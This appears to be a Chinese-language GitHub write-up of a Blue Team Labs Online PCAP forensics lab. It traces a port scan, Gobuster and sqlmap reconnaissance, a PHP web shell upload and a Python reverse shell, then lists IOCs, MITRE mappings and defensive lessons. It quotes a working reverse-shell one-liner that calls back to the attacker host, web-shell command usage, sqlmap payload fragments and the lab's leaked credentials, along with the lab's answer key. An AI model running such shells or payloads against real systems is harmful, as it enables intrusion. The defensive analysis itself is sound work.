layshatem5-bit/btlo-port-scan-investigation

GitHub: layshatem5-bit/btlo-port-scan-investigation

一份完整的 BTLO 网络安全实验报告,记录了使用 Wireshark 对端口扫描与 Web 攻击链进行 PCAP 取证分析的全过程。

Stars: 0 | Forks: 0

# 🔍 BTLO 实验室 — 端口扫描与 Web 攻击 PCAP 分析 **平台:** Blue Team Labs Online (BTLO) **工具:** Wireshark **文件类型:** `.pcap` ## 📋 场景说明 首先想到的问题是:为什么同一公司内部的两台机器,会有一台去扫描另一台?这不是正常行为,而是出现问题的强烈指标。 ## 🗂️ 分析步骤 ### 步骤 1 — 文件属性 在 Wireshark 中打开文件后,我们导航到了 **统计 (Statistics) → 捕获文件属性 (Capture File Properties)**。 image image | 字段 | 值 | |-------|-------| | 首个数据包 | 2021-02-07 18:31:22 | | 最后一个数据包 | 2021-02-07 18:46:31 | | 经过时间 | 00:15:08 | ### 步骤 2 — 协议层级 image 从 **统计 (Statistics) → 协议层级 (Protocol Hierarchy)** 中,我们观察到了以下协议: - `SSH` - `DNS` - `HTTP` - `SMB` **为什么这些协议很重要?** 从 SOC 分析师的角度来看,这些协议常被滥用于**横向移动 (Lateral Movement)**。 ### 步骤 3 — 会话 从 **统计 (Statistics) → 会话 (Conversations)** 中,按字节数排序。 - A 列中的每个 IP 都在与 B 列进行通信。 - image - 在 **TCP 选项卡**下:第一个 IP (`.4`) 使用**相同的源端口**向第二个 IP (`.5`) 发起了数百次连接,但每次都针对**不同的目标端口** —— 这是**端口扫描 (Port Scanning)** 的明显标志。 - image **数据包大小观察:** - 大多数数据包为 **118 字节** - 端口 22 和 80 显示为 **184 字节** **为什么?** 其他端口处于关闭状态,因此没有发生完整的 TCP 握手。端口 22 和 80 处于开放状态,并向源 IP 回复了 **ACK**。 image image image ### 步骤 4 — 数据包深入分析 为了获得更好的时间戳精度,我们通过 **视图 (View) → 时间显示格式 (Time Display Format)** 更改了时间显示格式。 #### HTTP 流分析 从第 14 个数据包开始,我们使用了 **追踪流 (Follow) → TCP 流 (TCP Stream)**。 - 您可以在底部按 **客户端请求 (Client Request)** 或 **服务器响应 (Server Response)** 进行过滤。 - **TCP 流**和 **HTTP 流**的区别: - TCP 流:显示原始数据,包括编码或异常内容。 - HTTP 流:以干净、易于阅读的格式呈现数据。 从 HTTP 流中我们发现: ```
Apache/2.4.29 (Ubuntu) Server at 172.20.10.2 Port 80
``` image image image **→ IP `.2` 是一台 Ubuntu 服务器。** ### 步骤 5 — 发现登录凭据 继续向下滚动流内容,显示了第一个 **POST 请求**: image image ``` username=admin&password=***** ``` 密码经过了 **URL 编码**(由 `%` 字符指示),因此我们使用 **URL 解码器**对其进行了解码,以显示明文值。 ### 步骤 6 — 添加源端口列 通过 **首选项 (Preferences)**,我们添加了一个 **源端口 (Source Port)** 列,以跟踪攻击者尝试连接了多少个端口。 image - 源端口 = 攻击者的机器(最初被攻陷的主机) - SYN/ACK 响应仅出现在开放端口(22 和 80)上 - 总扫描持续时间:**不到一秒钟** 🔥 ### 步骤 7 — Wireshark 过滤器 #### HTTP 响应代码过滤器 ``` http.response.code == 404 # Pages not found http.response.code == 200 # Successful responses ``` #### 过滤涉及攻击者 IP 的成功响应 ``` (http.response.code==200) && (ip.src==10.251.96.5) ``` **为什么这很有用?** 1. 如果攻击者正在托管本地 HTTP 服务器以拉取工具 —— 您可以识别文件名和大小。 2. 如果有正在发出的 C2 命令 —— 您可以读取它们。 3. 如果存在数据泄露 —— 您可以确认数据已到达攻击者处。 #### 快速对比:两个重要的过滤器 | 过滤器 | 含义 | 用例 | |--------|---------|----------| | `(http.response.code==200) && (ip.dst==10.251.96.4)` | **发往**攻击者的成功响应 | 追踪攻击者接收到的内容 | | `(http.response.code==200) && (ip.src==10.251.96.5)` | **从**被攻陷的计算机**发送的**成功响应 | 监控受感染计算机的出站流量 | | `(http.request.method=200)` | **从**被攻陷的计算机或攻击者**发送的**成功 POST 请求 image 攻击者正在向服务器上传 payload。 ## 🔎 关键发现 — 攻击时间线 ### 🔴 阶段 1 — 端口扫描 - **攻击者 IP:** `10.251.96.4` - **受害者 IP:** `10.251.96.5` - **端口范围:** 1–1024 - **扫描类型:** TCP SYN 扫描 - **发现的开放端口:** **端口 22 (SSH)** 和 **端口 80 (HTTP)** ### 🔴 阶段 2 — 侦察 (Gobuster) 过滤大数据包后发现: image image ``` User-Agent: gobuster/3.0.1 ``` - 攻击者使用 **Gobuster** 进行**目录枚举**。 - 该工具访问了 `/info.php`,服务器回复了 `200 OK`。 - 该文件暴露了一个 **phpinfo()** 页面 —— 这是一个严重的信息泄露漏洞。 image image **从 phpinfo() 收集到的信息:** | 字段 | 值 | |-------|-------| | 服务器名称 | `bob-appserver` | | 操作系统 | Ubuntu 18.04 | | PHP 版本 | 7.2.24 | | Web 服务器 | Apache 2.4.29 | | 数据库 | MySQL(通过 mysqli 和 pdo_mysql) | | 配置路径 | `/etc/php/7.2/apache2/php.ini` | 这些信息对攻击者来说是一份大礼,他现在可以入侵服务器了。 image **最后一个 Gobuster 数据包:** #13661,时间为 `16:34:06` ### 🔴 阶段 3 — SQL 注入 (sqlmap) 数据包 #13979 显示: image ``` User-Agent: sqlmap/1.4.7#stable (http://sqlmap.org) ``` #### 关键发现 — 信息泄露 🚨 服务器向用户返回了此错误消息: ``` Unable to connect to: root:bobthe@localhost. Error: ``` **攻击者现在知道了:** | 字段 | 值 | |-------|-------| | 数据库用户名 | `root` | | 数据库密码 | `bobthe` | | 主机 | `localhost` | 这被归类为**信息泄露 / 敏感信息暴露** (OWASP)。 #### sqlmap 尝试的 Payload ``` UNION ALL SELECT ... -- UNION-based Injection -- Reflected XSS Test FROM information_schema.tables -- Database Enumeration xp_cmdshell -- OS Command Execution (MSSQL) cat /etc/passwd -- Linux Command Execution ``` image #### 为什么 sqlmap 失败了? 尽管进行了各种尝试,服务器一直回复: ``` Unable to connect to: root:bobthe@localhost ``` 在执行任何 SQL 查询之前,应用程序就无法连接到数据库,因此注入实际上从未运行过。可能的原因: - 数据库服务已停止 (`sudo systemctl stop mysql`) - 权限或端口配置错误 - 代码中的密码已过期 **最后一个 sqlmap POST 数据包:** #15978,时间为 `16:37:28` ### 🔴 阶段 4 — Web Shell 上传 数据包 **#16102** — POST/UPLOAD,时间为 `16:40:39`: image ``` POST /upload.php Content-Type: multipart/form-data filename="dbfunctions.php" ``` #### 上传的文件内容 ``` ``` 这是一个经典的 **Web Shell**。任何对以下内容的请求: ``` /uploads/dbfunctions.php?cmd=whoami ``` 都会直接在服务器上执行 `whoami`。 #### 上传后的序列 | 步骤 | 请求 | 响应 | 意义 | |------|---------|----------|--------------| | 1️⃣ | `POST /upload.php` | `The file dbfunctions.php has been uploaded` | Web Shell 上传成功 | | 2️⃣ | `GET /uploads/` | `Index of /uploads` | 目录列表已启用 —— 非常危险! | | 3️⃣ | `GET /uploads/dbfunctions.php` | `HTTP 200` | Shell 已执行(尚无 `cmd` 参数) | ### 🔴 阶段 5 — 远程代码执行与 Reverse Shell 数据包 **#16201**,时间为 `16:42:35`: image ``` GET /uploads/dbfunctions.php?cmd=python%20-c%20... ``` 经过 URL 解码后,命令为: ``` python -c ' import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.251.96.4",4422)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"]); ' ``` #### 代码分解 | 行 | 用途 | |------|---------| | `socket.socket(...)` | 打开一个 TCP socket | | `s.connect(("10.251.96.4",4422))` | 受害者服务器在端口 4422 上反向连接到攻击者 | | `os.dup2(...)` | 通过 socket 重定向 stdin/stdout/stderr | | `subprocess.call(["/bin/sh","-i"])` | 生成一个交互式 shell | **为什么使用 Reverse Shell 而不是 Bind Shell?** 大多数服务器允许出站连接,但通过防火墙阻止入站连接。Reverse Shell 让受害者主动向攻击者发起连接,从而绕过了这一限制。 ``` 10.251.96.4 (Attacker) ▲ │ Reverse TCP on Port 4422 │ 10.251.96.5 (Victim — Web Server) ``` 紧接着,我们观察到端口 4422 上的 **TCP 三次握手** —— 证实攻击者获得了完整的 shell 访问权限。✅ 并且他开始在服务器上运行命令: 1. id 2. whoami ... ## 🏁 实验室问答 | # | 问题 | 答案 | |---|----------|--------| | 1 | 负责端口扫描的 IP 是什么? | `10.251.96.4` | | 2 | 端口扫描的范围是什么? | `1–1024` | | 3 | 进行了哪种类型的端口扫描? | `TCP SYN 扫描` | | 4 | 还有两个用于侦察的工具,它们是什么? | `Gobuster 3.0.1` 和 `sqlmap 1.4.7` | | 5 | 用于上传 Web Shell 的 PHP 文件名是什么? | `editprofile.php` | | 6 | 上传的 Web Shell 名称是什么? | `dbfunctions.php` | | 7 | Web Shell 中使用的参数是什么? | `cmd` | | 8 | 攻击者执行的第一条命令是什么? | `id` | | 9 | 攻击者获得了哪种类型的 shell 连接? | `Reverse Shell` | | 10 | shell 连接使用的是哪个端口? | `4422` | ## 📌 攻陷指标 (IOC) | IOC | 值 | |-----|-------| | 攻击者 IP | `10.251.96.4` | | 受害者 IP | `10.251.96.5` | | 上传的 Web Shell | `dbfunctions.php` | | Web Shell 路径 | `/uploads/dbfunctions.php` | | Web Shell 参数 | `cmd=` | | Reverse Shell 端口 | `4422` | | 泄露的数据库凭据 | `root:bobthe@localhost` | | 使用的工具 | `Gobuster 3.0.1`, `sqlmap 1.4.7` | ## 🛡️ MITRE ATT&CK 映射 | 技术 | ID | 描述 | |-----------|----|-------------| | 网络服务扫描 | T1046 | 内部端口扫描 | | 利用面向公众的应用程序 | T1190 | Web 应用程序漏洞利用 | | 服务器软件组件:Web Shell | T1505.003 | Web Shell 上传 | | 入口工具传输 | T1105 | 传输到服务器的恶意文件 | | 命令和脚本:Unix Shell | T1059.004 | 通过 Shell 执行的命令 | | 命令和脚本:Python | T1059.006 | 基于 Python 的 Reverse Shell | ## 🔧 Wireshark 过滤器备忘单 ``` # 仅成功的响应 http.response.code == 200 # 未找到的页面 http.response.code == 404 # 涉及攻击者 IP(作为源)的成功响应 (http.response.code==200) && (ip.src==10.251.96.5) # 发往攻击者的成功响应 (http.response.code==200) && (ip.dst==10.251.96.4) # 来自/发往特定 IP 的所有 POST 请求 http.request.method=="POST" && ip.addr==10.251.96.4 # 仅限于这两个主机的精确 filter (http.response.code==200) && (ip.src==10.251.96.5) && (ip.dst==10.251.96.4) ``` ## 💡键要点 1. **切勿在生产服务器上暴露 `phpinfo()`** —— 这等于把您环境的完整地图交给了攻击者。 2. **错误消息必须通用化** —— 返回原始数据库连接字符串是一个严重的漏洞。 3. **必须验证文件上传** —— 使用严格的白名单(例如,仅限图片),绝不允许上传 PHP 文件。 4. **禁用目录列表** —— 开放的 `/uploads/` 目录向攻击者证实了他们的文件已成功上传。 5. **监控服务器的出站连接** —— Reverse Shell 依赖它们来绕过防火墙。
标签:IP 地址批量处理, PCAP分析, PE 加载器, Wireshark, Writeup, 句柄查看, 安全, 并发处理, 插件系统, 数据统计, 端口扫描, 超时处理